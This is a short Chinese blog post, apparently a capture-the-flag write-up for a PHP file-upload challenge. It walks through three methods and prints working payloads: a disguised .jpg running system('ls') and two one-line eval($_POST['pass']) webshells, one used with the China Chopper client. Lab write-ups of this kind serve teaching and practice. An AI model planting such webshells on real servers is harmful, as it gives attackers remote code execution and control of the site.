版权声明：本文为博主原创文章，未经博主允许不得转载。 https://blog.csdn.net/dyw_666666/article/details/83900349
本文介绍三种方法，还会讲到这道题菜刀的连接。
进入题目页面，没有什么特别的，只能右键查看源代码，发现提示需要跳转到 upload.php上传页面
方法一：
①新建一个txt文件写入 <script language=php>system("ls")</script> 后另存为 jpg 格式
②选择浏览上传文件
③访问 保存进去的文件 即 Save in 后面的图片路径
因为我们写入了ls命令，用于显示当前目录下所有文件，发现了flag文件
④然后访问：http://123.206.31.85:49166/index.php?file=this_is_th3_F14g_154f65sd4g35f4d6f43.txt
方法二：一句话木马
①不需要上传什么文件，直接upload然后抓包：
②然后ctrl+r发送到reperter里面，传入一句话木马 <?=eval($_POST['pass']);>
改动如下：（在request修改完点go会在response返显）
③复制resonse返显信息修改url：
正常应该是返回空白。但是菜刀连接时显示500 Internal server error 也是没脾气了。
方法三：一句话木马，连接菜刀
①我们将方法二的一句话改成下面这个：
<script language=php>echo 'a'; eval($_POST['pass']);</script>
②这种方法会返回a。并且菜刀连接成功。
That's all.